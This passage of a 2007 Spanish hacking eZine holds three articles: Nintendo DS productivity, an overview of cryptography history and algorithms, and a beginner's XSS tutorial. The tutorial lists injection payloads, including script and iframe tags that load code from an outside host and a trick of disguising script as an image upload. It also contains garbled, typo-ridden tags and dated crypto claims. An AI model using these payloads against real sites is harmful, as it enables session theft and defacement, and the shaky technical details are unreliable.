by kania | www.evilgirls.net |

Para HHMayo 2007

Page 21: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 21 de 44 – HH eZine

Nintendo DS. Como transformar tuconsola en una herramienta detrabajo

Cada vez más, la Nintendo DS se estáconvirtiendo en una herramienta de trabajo.Para mi, lo más cómodo que ofrece en elcampo de trabajo, es lo siguiente: Navegarpor internet (lo que nos abre muchasposibilidades al poder acceder a todas lasfunciones de la red) y la posibilidad deinstalar un sistema operativo. Paracomprobarlo podéis echar una ojeada a estevídeo donde aparece un abanico de lasutilidades que le han sacado los japoneses:http://www.youtube.com/watch?v=ShfNp082278.

En este artículo váis a aprender losiguiente:

- Utilización y utilidades de Opera DS.- Descarga e introducción a Mini vMac

DS (MacOS para DS).

Opera Ds

Estamos ante uno de los mejores ycompletísimos navegador de internet, estavez para la Nintendo DS. Gracias a estesoftware, podemos navegar por Internetdesde nuestra portátil. El navegador sevende como un cartucho de la consola.Simplemente tendréis que insertarlo en lamisma, que tiene tecnología Wi-Fi

incorporada, conectarse a la Red (laconflagración es igual que cualquier juego Wi-Fi

DS) y comenzar a navegar conlas dos pantallas. En la táctildispondremos de toda la web y

podremos usar nuestro lápiz táctil como el ratóncomún del ordenador. Cuando queramos escribiralgo en algún cuadro de texto, la pantallita seconvertirá en un teclado. La pantalla superior nosofrecerá una vista ampliada de la web. Ahorabien, ¿qué podemos hacer con un navegador?Pensaréis que estamos limitados a conectarnos alcorreo, entrar en los foros, viciarnos enminijuegos etc. Además de todo esto, podemosusar algunas funciones que tenemos en nuestraPC habitual. Buscando en google podremosencontrar un montón, pero yo os recomiendo estafantástica herramienta de office:

Google Docs: Es una herramienta de office degoogle. Entramos en http://docs.google.com yentramos con nuestro login habitual. Si nodisponemos de una cuenta, creamos una(ATENCIÓN: podemos crear una cuenta degoogle o una de gmail. Si hacemos la de gmail,también dispondremos de una de google con elmismo pass, pero viceversa no funciona. Paracrear una cuenta de gmail, entramos enhttp://www.gmail.com y para la de google en lamisma pagina que docs). Una vez dentro,podremos crear un nuevo documento de texto ouna hoja de cálculo.

Primero, vamos a experimentar con losdocumentos de texto. A la derecha,tenemos el botón desplegable "Archivo",

Page 22: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 22 de 44 – HH eZine

aquí tenemos varias posibilidades comoguardarlo en algún formato, contar númerode palabras etc. Al lado, está el botón"Editar", es el que se abre por defecto y elque usamos principalmente para la ediciónde texto. Después, nos encontramos con"Insertar". En éste, como bien dice sunombre, podremos añadir imágenes,comentarios, URLs etc. Y para terminar"Revisiones", que también está bastanteclaro.

Luego tenemos unos botones simples:“Editar HTML”, Guardar, Guardar y cerrar,Descartar cambios, Vista previa, Imprimir yCorreo electrónico (todos éstos se entiendenbien). Luego encontramos Colaborar, quepermite escribir o leer el texto a otrosusuarios de google. Publicar, con estaopción podremos ofrecer nuestro texto atodos los lectores con una URL que nosasignarán. Y por último, abajo del todo,podemos revisar la ortografía con el botónresaltado en amarillo.

Las hojas de calculo son similares,sólo que tenemos los botones"Ordenar", "Fórmulas" y "Debates".“Ordenar” nos sirve para colocar lascasillas por orden de A-Z o Z-A.“Fórmulas”, para definir fórmulasque se usarán en las casillas. Encuanto a “Debates”, estará prontodisponible.

Además, podemos subir nuestrospropios archivos. Cuando estamos enla pagina principal le damos a subir yelegimos el documento de texto o lahoja de calculo que queramos subir

según la extensión.

Y como ejemplo de todo ello, quiero añadir queeste artículo está escrito en google docs. Y noolvidéis que tenéis un montón de funciones degoogle enhttp://www.hackhispano.com/foro/showthread.php?t=21750.

Mini vMac DS

Veamos, navegar por internet está muy bien,pero nos faltan algunas posibilidades que esagigantesca red no nos permite, al menos porahora. Para eso están los sistemas operativos.Esta vez veremos al exitoso MacOS en acción, ypuede que en el futuro aprendamos a instalarlinux.

Para empezar, necesitaremos algún cartucho dememoria para insertar el archivo del SO, yo osrecomiendo el EzFlash (videotutorial:http://www.teknoconsolas.info/download.php?id=151). Su funcionamiento es sencillo, solamenteinsertad el cartucho con la tarjeta micro SDinsertada y elegid el archivo que tenéis queejecutar.

Una vez tengamos el cartucho de memoria,insertamos el emulador dentro y éste nospermitirá ejecutar el gran software MacOS.Descarga del emulador en:http://lazyone.drunkencoders.com/mini%20vmac.zip descarga del sistema:http://download.info.apple.com/Apple_Support_Area/Apple_Software_Updates/English-North_American/Macintosh/System/Older_System/System_6.0.x/). Una vez que tengamos todopuesto en su sitio, lo ejecutamos y a salsear.

Page 23: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 23 de 44 – HH eZine

Además, para los incrédulos, os dejo estaimagen y un video con MacOS funcionandoen una DS

http://www.youtube.com/watch?v=zXumHtI4LT

Es una pena que no tenga colores y que novaya muy rápido, pero sólo necesitamos algode paciencia para soportar el tiempo quetarda.

Con este software se pueden ejecutarprogramas, juegos etc., como si fueranuestro Mac personal. Ahora ya no tenéis

excusa: que si no tenéis ordenador…, que si elciber está cerrado…, Ahora, ¡con la consola atodas partes! (Y puede que juegues un ratito paradescansar. Pero atención, ¡pone ratito!)

Espero que la lectura de este texto haya sido devuestro agrado y que además os sea provechoso.Si necesitáis alguna aclaración, no dudéis enpreguntar en HackHispano.

Y para acabar, mis dos frases favoritas:

Es mejor saber algo de todo que todo de algo.Hay dos tipos de personas, las que saben binarioy las que no.

Gracia por vuestra atención y hasta pronto.

rat

Page 24: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 24 de 44 – HH eZine

Evolución de la criptografía.Panorama actual.

En este artículo voy a tratar de lacriptografía a lo largo de la historia y elpanorama actual, centrándome en los tiposactuales y algunos algoritmos, pero sinolvidarme de dar unas nociones básicas depara que se utiliza …

Que es la criptografía

Claro que si empiezo a hablaros de lacriptografía y no os explico que es pues noos enterareis de nada. Pero en casi todos lossitios os pondrán algo como esto:

La criptografía (del griego kryptos,"ocultar", y grafos, "escribir", literalmente"escritura oculta") es el arte o ciencia decifrar y descifrar información utilizandotécnicas matemáticas que hagan posible elintercambio de mensajes de manera quesólo puedan ser leídos por las personas aquienes van dirigidos.

Que no dudo que el párrafo anterior no seacorrecto, que lo es, pero no totalmentecorrecto, ni lo fue nunca, porque porejemplo los métodos de tabla (los másantiguos entre los que se cuenta el métodoCesar) no se basan en técnicas matemáticas,eran técnicas simples de cambiar loscaracteres de una tabla por el equivalente deotra tabla. En cambio hoy en día, las actualcriptografía se basa en técnicas matemáticas,pero en cambio, ya no solo se usa lacriptografía para proteger mensajes, sino quese utiliza para otras finalidades, por ejemplo

para garantizar que un archivo no a sidomodificado.

La información original que debe protegerse sedenomina texto en claro. La informaciónprotegida en formato de texto ilegible es lo quese denomina texto cifrado o criptograma. Elproceso de proteger el mensaje se denominacifrar o encriptar. El proceso desproteger elmensaje se denomina descifrar o desencriptar.El método especifico utilizado en el proceso decifrado y descifrado se denomina algoritmo decifrado o cifra. La clave es la informaciónsecreta usada durante el proceso de cifrar parahacer generar el criptograma, y necesaria paraobtener el texto en claro a partir del criptograma.

Ejemplo del algoritmo de 1 tabla y cifrado porintercambio directo para explicar los diversosconceptos:A B C D E FG H I J K L M N Ñ O P Q R S T UV W X Y Z (Tabla de texto en claro)H I J A B C X Y Z G K L Q R S M N Ñ E F OW D P T U V (Esta es la clave)El algoritmo para cifrar es que sustituimos loscaracteres del texto en claro por sus equivalentesde la clave (A por H o V por D).Pero pasemos a cifrar un texto, en concretoEZINE. El procedimiento es simple, buscamoscada letra su correspondiente de la tabla clave yya esta.E -> BZ -> VI -> ZN -> REl texto cifrado sería: BVZRBEl proceso de descifrado sería el contrario y nosvolvería a dar EZINE. En este casó parece que laprotección del texto depende de lo largas quesean las tablas clave, en nuestro ejemplo hay 27!

Page 25: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 25 de 44 – HH eZine

-1 posibles claves (se resta una porque unade esas posibilidades es la cadena de arriba).Es un método sencillo y en teoría igualmentesencillo de romper (conseguir obtener eltexto en claro a partir del criptograma sinutilizar la clave). Y es que este método notiene en cuenta un pequeño detalle, en loslenguajes humanos no todas las letrasaparecen con la misma posibilidad, porejemplo, la letras que más aparece enespañol es la letra “e” incluso algunosautores dicen que aparecen más letras “e” enun texto que espacios… por otro ladotambién es conveniente cifrar los espacios,sino se ofrecen muchas pistas a quien intentedescifrar el texto. Y aun para fastidiarla más,cuanto más largo y mejor redactado esté mássencillo será de romper, ya que palabrasmuy comunes en casi todos los idiomas, porejemplo, en inglés sin lugar a dudas “the”,en español no hay una que destaque tanto,pero si muchas que destaquen como puedenser “la, lo, a, en, de…”. El gran problema esque si te centras en esas palabras consiguesestructurar el texto y te resultara mássencillo sacar algunas palabras por elcontexto, y a partir de ahí ya tendrías echotodo.A pesar de lo anterior, en la práctica hayformas de que de complicarles la vida aquien intente romper tu texto, algunas tansimples como eliminar las partículasmencionadas antes, usando un lenguaje tipotelegráfico. Otras es seleccionar las palabrasque vas a cifrar intentando minimizar unpotencial ataque por aparición (en español lomejor es intentar no escribir palabras quelleven la letra “e” e intentar que aparezcanmuchas “u” y especialmente “o”). Perobueno, lo dejo aquí que la finalidad de este

texto ,es otra, y esto solo sirve como ejemplo.

Ahora que ya hemos visto un ejemplo decriptografía y algunos de los términos utilizados,vamos a proceder a decir para que sirve lacriptografía:-Su principal función (tanto histórica como ennuestros días) es la de garantizar el secreto en lacomunicación entre dos entidades.-Su segunda gran función es la asegurar que lainformación no ha sido adulterada en el camino.En cristiano, que nadie la modifico durante lacomunicación. Una utilización accidental de estafunción es ser usada como función hash.-Otra gran función es la de garantizar que elremitente es quien dice ser.-Una variante de sus funciones más en bogaactualmente y que es una modificación de laactual es que es usada en la firma electrónica (ofirma digital), su finalidad es asociar un emisor aun mensaje, para evitar el repudio. En cristiano,solo tal entidad puede emitir este mensaje, por locual esa entidad no puede negar que el mensajees suyo.

La criptografía en la Historia

Ahora que ya sabemos de forma superficial quees la criptografía pasaremos a meternos en faena,la criptografía en la Historia. Y ya empezamoscon problemas, ya que aunque en casi todos lostextos se empieza siempre con los griegos, porlas definiciones y funciones comentadasanteriormente, tendríamos que realizar uncomienzo distinto, en donde ya no serían losgriegos los primeros acerca de los cualestenemos constancia de que usaban métodoscriptográficos. Mucho antes (al menos unos 1000años antes) en Mesopotamia se utilizabancódigos secretos para ocultar mensajes. EnEgipto parece ser que también tenían sus propias

Page 26: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 26 de 44 – HH eZine

técnicas aunque la de estos era más del estiloesteganografía (no se considera que sea untipo de criptografía).

Después del apunte anterior pasaremos a losgriegos y romanos. Tampoco es que hayamucho que decir, lo normal es comentar quePolibio (un historiador griego) dejoconstancia de la utilización de la criptografía(un sistema de sustitución basado en laposición de las letras en una tabla). Aunquelos griegos sabemos que tenias mássistemas, el otro más conocido fue la escitalaespartana, un método de transposiciónbasado en un cilindro que servía como claveen el que se enrollaba el mensaje para podercifrar y descifrar. En cuanto a los romanos,lo más destacable es que utilizaron la técnicaCesar tanto para fines militares como civiles(algo que no se repetiría de nuevo hasta laépoca actual de forma masiva), era métodosimple de sustitución.

La situación sigue así hasta Leon BattistaAlberti en el 1465 inventa un sistema desustitución poli alfabética. Blaise deVigenere escribió un tratado de escriturasecreta en el siglo XVI y diseño unalgoritmo que aun se conserva. Y partir deeste siglo la criptografía empieza a serutilizada de forma masiva por lasmonarquías europeas, entre ellos hay quecitar al que usaban los ejércitos españoles deFelipe II, en su época fue inexpugnable,aunque finalmente un matemático del reyfrancés Eduardo IV logro criptoanalizarlo.

Hasta el siglo XX, a pesar del incremento dela utilización de la criptografía, no hubonuevos avances. Aun así son destacablesvarios personajes del siglo XIX en concreto

el holandés Auguste Kerckhoffs y la del prusianoFriedrich Kasiski.

El gran avance del siglo XX fue utilizarmaquinas de cálculo y otro serie de ingeniosmecánicos en la criptografía. Sin duda la másfamosa máquina criptográfica fue Enigma, usadamasivamente durante la primera mitad del sigloXX y decisiva durante los prolegómenos y añosde la segunda Guerra Mundial. Enigma era unamáquina de rotores que automatizabaconsiderablemente los cálculos que era necesariorealizar para las operaciones de cifrado ydescifrado de mensajes. La gran importancia deenigma fue que ella puede considerarse la madrede la actual criptografía, ya que demostró que lasmaquinas pueden cifrar y descifrar un mensaje enun tiempo impensable incluso para los mayoresgenios de la humanidad, pero no solo eso, debidoa lo anterior desde entonces se buscanincansablemente nuevas cifras y se estudiannuevas técnicas de criptoanálisis, incluso influyoen las matemáticas, ya que campos que hastaentonces se consideraban secundarios (como elestudio de la dispersión de los números,especialmente los primos) pasaron de nuevo alprimer plano.

Sin duda la figura más importante en eldesarrollo de la criptografía después de lasegunda guerra mundial es Claude Shannon. Otrohito importante es la creación del primeralgoritmo estándar de cifrado, el DES, amediados de los años 70. Aun así, sin duda lamayor innovación del siglo XX fueron las cifrasasimétricas (GP, firma digital…).

Panorama actual

Hoy en día, aunque la mayor parte de lapoblación no sea consciente de ello, su

Page 27: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 27 de 44 – HH eZine

utilización esta presente en muchos denuestros actos cotidianos, desde el númerode la tarjeta de crédito o un número decuenta corriente (usa un código hash comocontrol para discernir que si el número escorrecto o no), permitir acceder a websseguras como bancos… incluso un míseroDVD hace uso de técnicas de cifrado…

Pero lo que hoy influye en gran manera en lacriptografía y que a su ver retroalimente esainfluencia, es el desarrollo de lacomputación y más específicamente laactual sociedad de la información.

Pero creo que de nada servirá un montón depalabras sobre teorías de la conspiración,utopías… en cambio si que puede ser útilexplicar las ramas actuales de la criptografíay algún algoritmo.

Criptografía simétrica: Como la teoría diceque la mejor definición es aquella que essintéticas, concisa y mínima pero sinperdidas de información, pues la mejordefinición de criptografía simétrica es:“método criptográfico que utiliza la mismaclave para cifrar y descifrar”. Y losalgoritmos simétricos pueden compararsesiguiendo la máxima: “Un buen sistema decifrado pone toda la seguridad en la clave yninguna en el algoritmo”. Que quiere decirlo anterior, pues que si el algoritmo (o cifra)es bueno, pues no nos importa que elalgoritmo sea público, porque de nada sirveconocer el algoritmo si no se conoce la clavede cada utilización. Si alguien captura unmensaje cifrado con un algoritmo quecumpla esa permisa, para el que intentaromper la criptograma (o mensaje) no lesirve conocer el algoritmo, ya que a partir

del algoritmo no puede deducirse el mensaje enclaro, ya que por cada clave se genera unacriptograma muy diferente, y una pequeñavariación de la clave da dos criptogramas muydistintos. En la práctica todos los algoritmostienen fallas (aunque a algunos aun no se leencontraron pero las matemáticas nos dicen quetarde o temprano si hay interés acabaranapareciéndole), y esa también es una medida dela seguridad de un algoritmo (cuantas clavesseguras tiene, cuantas más tenga más hay queprobar en ataque por fuerza bruta), en la prácticano es necesario probar todas las posibles claves,ya que hay en la práctica todos los algoritmosacaban generando el mismo criptograma paramás de una clave (con lo cual no hay queprobarlas todas) y por otro, con probar ciertacantidad de ellas ya podemos deducir en querango esta la clave y entonces proceder a lanzarel ataque de fuerza bruta solo sobre ese rango.Un ejemplo de algoritmo al que se le puedenaplicar estas técnicas es el MD4 según lodescubierto por Hans Dobbertin. Y otro ejemplode que varias claves dan el mismo criptograma esel MD5, también fue Dobbertin el que hallo unacolisión en 1996, volvieron a anunciarsecolisiones en el año 2004 por parte de XiaoyunWang, Dengguo Feng, Xuejia Lai y Hongbo Yu.Aun así el MD5 sigue siendo muy útil y fiable enfunciones de hash.

Criptografía asimétrica: siguiendo la políticaenumerada anteriormente, la definición es:“método criptográfico que utiliza 2 claves, unapública para cifrar y otra privada y secreta paradescifrar”. En este caso no importa que todo elmundo conozca la clave pública, ya que a partirde ella y el criptograma no es posible obtener eltexto en claro. La seguridad de una cifra en estecaso está ligada a que a partir de la clave públicano se pueda deducir la privada y también que a

Page 28: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 28 de 44 – HH eZine

partir de la clave pública no se pueda romperel criptograma. Se basan en funciones-trampa de un solo sentido que aprovechanpropiedades particulares, por ejemplo de losnúmeros primos. ¿Y que puñetas es unafunción trampa? Pues consiste en unafunción matemática cuyo cálculo directo essencillo (como multiplicar 2 números), peroque a partir del resultado sea muy difícilsaber que números usamos para que nosdiera ese resultado. En este caso, al igualque los algoritmos simétricos, la seguridaddepende de la clave.

Criptografía híbrida: El gran problema delas cifras asimétricas es que requieren clavesmucho más largas que sus equivalentesimétricas, y por otro, consumen una granpotencia computacional tanto en el cifradocomo en el descifrado, por ello no suelenusarse solos, sino complementados con unalgoritmo simétrico, eso es lo que es lacriptografía híbrida. Su funcionamientohabitual es que se genera una clave simétricaaleatoria, esa clave se cifra con la clavepública y se envía al destinatario. El mensajese cifra con un algoritmo simétrico usando laclave generada. El destinatario recupera laclave simétrica usando la clave privada y apartir de ahí puede descifrar el mensaje. Estees el sistema que el PGP.

Criptografía de curva elíptica: Es unavariante de la criptografía asimétrica basadaen las matemáticas de las curvas elípticas.Propuesta de forma independiente por NealKoblitz y Victor Miller en 1985. Prometeclaves mucho más cortas y mucha másrapidez que su equivalente asimétrica. Secree que es bastante segura para tamaños declave de 163bits o superiores, aunque hay

muchos expertos que siguen siendo muyescépticos.

Triple DES: Cuando se descubrió que una clavede 56 bits no era suficiente para un ataque defuerza bruta, TDES fue elegido como forma deagrandar el largo de la clave sin necesidad decambiar de algoritmo de cifrado. En criptografíael Triple DES se llama al algoritmo que hacetriple cifrado del DES. También es conocidocomo TDES o 3DES, fue desarrollado por IBMen 1978. Es previsible que en un corto periodo detiempo sea reemplazado por el algoritmo AES.Es un algoritmo simétrico.

AES o Rijndael: Esquema de cifrado porbloques adoptado como un estándar de cifradopor el gobierno de los Estados Unidos parasustituir al DES. Es un algoritmo simétricodesarrollado por los belgas Joan Daemen yVincent Rijmen. AES utiliza una red desustitución-permutación, no una red de Feistelcomo el DES. AES es rápido, fácil deimplementar y requiere poca memoria.

IDEA: Es un cifrador por bloques diseñado porJames L. Massey en Zúrich. IDEA opera conbloques de 64 bits usando una clave de 128 bits yconsiste de ocho transformaciones idénticas yuna transformación de salida. El proceso paracifrar y descifrar es similar. Gran parte de laseguridad de IDEA deriva del intercalado deoperaciones de distintos grupos que sonalgebraicamente "incompatibles" en cierta forma.Es un algoritmo simétrico. Es considerado uno delos cifrados por bloques más seguros que existen.Solo se le encontraron algunas claves débiles.

MD5: Es un algoritmo de reducción criptográficode 128 bits ampliamente usado, diseñado porRonald Rivest. Se le han encontrado colisiones

Page 29: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 29 de 44 – HH eZine

de hash por lo que no es muy seguro, aun asísigue estando muy presente tanto comosistema de cifrado en UNIX/Linux. Pero suprincipal función y para la que sigue siendomuy útil es para detectar ficheros corruptos,alterados, incompletos…

RIPEMD-160: Es un algoritmo del resumendel mensaje de 160 bits (y funcióncriptográfica de hash) desarrollado enEuropa. Es poco usado aunque es unalgoritmo abierto.

Diffie-Hellman: Permite el intercambiosecreto de claves entre dos partes que no hantenido contacto previo, utilizando un canalinseguro, y de manera anónima (sinautentificar). Se emplea generalmente comomedio para acordar claves simétricas queserán empleadas para el cifrado de unasesión. Siendo no autenticado, sin embargoprovee las bases para varios protocolosautenticados. Su seguridad radica en laextrema dificultad de calcular logaritmosdiscretos en un campo finito, o por lo menosen teoría. Una de sus versiones másconocidas es ElGamal para negociación declaves.

RSA: Es un algoritmo asimétrico cifrador debloques, que utiliza una clave pública, lacual se distribuye, y otra privada, la cual esguardada en secreto por su propietario. Sufuncionamiento se basa en el producto dedos números primos grandes, y una clave deeste algoritmo también es un número. Susautores son Ron Rivest, Adi Shamir y LenAdleman (de ahí el nombre).

DSA: Fue un Algoritmo propuesto por elInstituto Nacional de Normas y Tecnología

de los Estados Unidos para su uso en su Estándarde Firma Digital (DSS), pero tiene la desventajaque requiere mucho más tiempo de computo queel RSA.

Despedida

Esta ha sido una visión muy rápida deCriptografía (que es, para que se utiliza…), supapel en la Historia y las técnicas criptográficasactuales (tipos) y algunos algoritmosampliamente utilizados. Es solo unaintroducción, por lo que no descarto que para unpróximo número haya una versión más extendiday con ejemplos, o el desarrollo práctico de unsistema criptográfico. Bueno a llegado elmomento de la despedida por hoy.

Un Saludo

Autor: Gondar_f

Page 30: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 30 de 44 – HH eZine

INTRODUCCION YEXPLICACION AL XSS

Es el ataque basado en la explotación devulnerabilidades del sistema de validaciónde HTML incrustado. Su nombre, del ingles"Cross Site Scripting", y renombrado XSSpara que no sea confundido con las hojas deestilo por cascada, CSS originalmenteabarcaba cualquier ataque que permitieraejecutar código de "scripting", comoVBScript o javascript, en el contexto de otrodominio. Recientemente se acostumbra allamar a los ataques de XSS "HTMLInjection", sin embargo el termino correcto,es XSS. Estos errores se pueden encontraren cualquier aplicación HTML, no se limitaa sitios web, ya que puede haberaplicaciones locales vulnerables a XSS, oincluso el navegador en si. El problema estaen que normalmente no se validancorrectamente los datos de entrada que sonusados en cierta aplicación. Estavulnerabilidad puede estar presente de formadirecta (Libros de visitas, Foros, mensajesprivados, Blogs , Wikis,) o indirecta(redirecciones, framesets). Cada una se tratade forma diferente. existen distintos tipos deataque XSS

Páginas dinámicas

Localizar una pagina que sea dinámica, esdecir que muestre su contenido en base acosas introducidas por el usuario.Por ejemplo si entran a una página con esteformato:http://www.website.com/index.php?contenid

o=xD.html Si lo introducido no existe,seguramente les saldrá un error que diga algocomo: esto

Concepto página Web dinámica

Se conoce con el nombre de página webdinámica a aquélla, cuyo contenido se genera apartir de lo que un usuario introduce en un web oformulario. El contenido de la página no estáincluido en un archivo html como en el caso delas páginas web estáticas. Las aplicaciones másconocidas de las páginas web dinámicas son:Mostrar el contenido de una base de datos, conbase en la información que solicita un usuario através de un formulario de web. Actualizar elcontenido de una base de datos. Generar páginasweb de contenido estático. Mejorar la interacciónentre el usuario y el sitio web. Las paginasdinámicas son aquellas que se crean en elmomento que se solicitan , son páginas HTMLgeneradas a partir de lenguajes de programaciónEn realidad el HTML no es

Page 31: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 31 de 44 – HH eZine

lenguaje de programación sino, más bien, setrata de un lenguaje descriptivo que tienecomo objeto dar formato al texto y lasimágenes....etc ....que pretendemosvisualizar en el navegador.(scripts) que sonejecutados en el propio servidor web. Adiferencia de otros scripts, como elJavaScript, que se ejecutan en el propionavegador del usuario, los 'Server Side'scripts generan un código HTML desde elpropio servidor web. Este código HTMLpuede ser modificado -por ejemplo- enfunción de una petición realizada por elusuario en una Base de Datos. Dependiendode los resultados de la consulta en la Base deDatos, se generará un código HTML u otro,mostrando diferentes contenidos

Contenidos

inyectar códigos en sitios web es solo una delas muchas posibilidades diré en este tutorialtambién se puede incluir códigos de enlace yefectos onmouseover .Miraremos unapequeña colección y amplia variedad delugares y técnicas para incluir código .Todono funciona correctamente eso depende denuestro navegador ya que algunas técnicas

dependen de navegadores específicos .................

<script src=http://www.xsite.com/xcode.js></script>

dejando que el sitio web incluya código scriptprocedente de un archivo podemos evitar laslimitaciones de tamaño. Además el código htmlno aparecerá directamente haciéndolo mas difícilde detectar en algunos casos el contexto deseguridad del sito web es importante ya quepuede bloquear códigos procedente de tercerosen este caso recuerda que el archivo que contieneel código no tiene que tener la extensión j.s si esposible subir archivos tales como imágenes alservidor frecuentemente puedes engañar al sitioweb llamando al archivo que contiene el códigoscript harmless. jpg incluyéndolo después .Comoviene del mismo servidor en muchos casos serátratado como un objeto seguro .

<img src= "javascript :alert( ' vulnerable ' ) ;">

A veces es posible incluir código en la etiquetade un imagen .Esto puede aprovecharse en loscasos en los que el sitio web atacado filtrecorrectamente la entrada de un usuario pero usaun formulario diferente para permitir al usuarioque inserte imágenes en el texto sin filtrado .Si alusuario se le da la posibilidad de especificar elorigen de la imagen hay posibilidades de insertarcódigo .

<a hret="javascript :alert ( &quot ; xss & quot ; )"> Clickme ! <>/a

En las situaciones en las que puedas usarcomillas dobles o simples juntas es posiblecambiar estas comillas en el código javascriptcon sus secuencias de escape

<body onload=alert ( " vulnerable " ) >

Page 32: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 32 de 44 – HH eZine

Esta construcción nos permite incluir códigoscript en una etiqueta <body>que se ejecutedurante el evento onload .El onload ocurrecada vez que el navegador analiza el códigode manera que el código siempre seejecutara en una situación vulnerable .Estose puede utilizar en situaciones en las quelas entrada de un usuario determina elcomportamiento de un sitio webmanipulando lo parámetros del cuerpo delsitio web.

<a herf=javascrip : alert ( ' vulnerable ' ) ; <

Los navegadores construidos con el monitorde renderizado Gecko ejecutaranhabitualmente bloques de código que nocontengan etiquetas de cierre .ya que lascierra automáticamente. El ejemplo de arribacreara un enlace representado por < queejecutara código después de hacer clicksobre el .Esto puede ser muy útil si lainyección se lleva a cabo dentro de otraetiqueta

<inframe src=http://www.xsite.com/xscript.html>

cuando inyectamos un inframe en un sitioweb vulnerable es posible hacer que el sitioweb cargue el código que se encuentra en elinterior del código de ejecución del inframe.En este ejemplo, el archivo htmlevilscript.html tendría que contener el scriptque el atacante quiera ejecutar

<inframe src="javascript : alert ( ' vulnerable ' ) ;"></ inframe >

también se puede inyectar código en uninframe

Creación de un código vulnerable

Acción

Pasamos a otra acción podemos subir estoa un server y ir hacia el script nos saldrá unformulario de campos de entrada introduce elasunto del mensaje y algo de texto con quepongas cualquier cosa te lo mostrará después.

Page 33: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 33 de 44 – HH eZine

ahora intenta introducir en el área de texto<script>alerta("vulnerable");</script>una vez que hayas enviado el formularioveras que te aparece una ventana emergentecon la palabra vulnerable ( felicidadesacabas de inyectar código javaScript en unsitio web).

Listado HTML tras la inyección

<html><head><title>xss-test | mensaje nuevo</title></head><body><h3>tusmensajes nuevos:</h3><br /><b>subject</b><br /><script>alert("vulnerable");<script></body></html>

¿Qué ha pasado ?

Análisis del script PHP

Porque ha sido posible inyectar códigocomo este se hace obvio después volvera mirar el código PHPecho '...'.$title'<br/>'.$text.'...';no hace otra cosa que obtener la variables$title y $text-que son introducidas por el

usuario .después incluye el contenido deestas variables dentro de una cadena yrepite toda la cadena dentro del sitio web.mecanismos similares pueden encontrarse en unaamplia variedad de aplicaciones webya mencionadas todos depende del mismomecanismo. la diferencia es que las aplicacionesweb reales suelen almacenar la entrada en unaDB e incluirlas bajo demanda en el sitio webde unos usuario específicos .pero no pienses quesolo las aplicaciones web que reciben entradadirectas de usuarios son vulnerables también loscontenidos indirectos como las aplicaciones decorreo electrónicos pueden contener códigoscript la mayoría de proveedores de webmailsmas importantes han tenido problemas con elXSS en los últimos años

Tipos de vulnerabilidades

Existen 3 tipos conocidos de vulnerabilidadesXSS.

Page 34: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 34 de 44 – HH eZine

• El que se utiliza para ejecutar códigoremotamente con los permisos de otrousuario.

• El ataque no-persistente o reflejado(explicado más adelante) utilizado enpáginas no estáticas.

• El ataque persistente, donde se inyectacódigo en páginas estáticas.

Estos tipos de vulnerabilidades son en losque se basan todos los demás ataques. Esimportante que analicen estos tres tipos deataques para identificar en que áreas sonpeligrosos, que se puede lograr con ellos, ycomo prevenirlos.

XSS a fondo

En la red puedes encontrar muchainformación respecto a las XSS en el caso deun buen manual tenemos el siguiente ...XSSa fondo.. lo mas correcto es usar el manualya que esta bien para que trascribirlo . Eneste manual puedes aprender un poco masafondo sobre lo que es XSS.

Posibilidades de ataques

Como este Ezine esta creada para mostrartela técnica que hay detrás de XSS solo heincorporado un único ataque a modo demuestra pero el XSS tiene muchas masposibilidades que el robo de cookies.Además decir que sobre las técnicas deataques y sus formas serian en próximosnúmeros de Seine, que yo, definiría comoCrash Site Script ( hacking XSS ) por otraparte decir que se queda demasiadas cosaatrás y que esta sección de Ezine XSS solo

es para principiantes si se incluyen cosas de unpoco de nivel pero solo es como muestra delpoder de XSS

Desinformación: la función document.write tieneun alto potencial para la colocación einformación falsa imagina un sito importante denoticias vulnerable al XSS un atacante podríacrear un URL que incluyera un articulo sobre unataque hacking en algún sitio y distribuir esaURL mediante coreo electrónico o foros elmensaje recibiría credibilidad por parte del sitioweb y mucho creerían el contenido

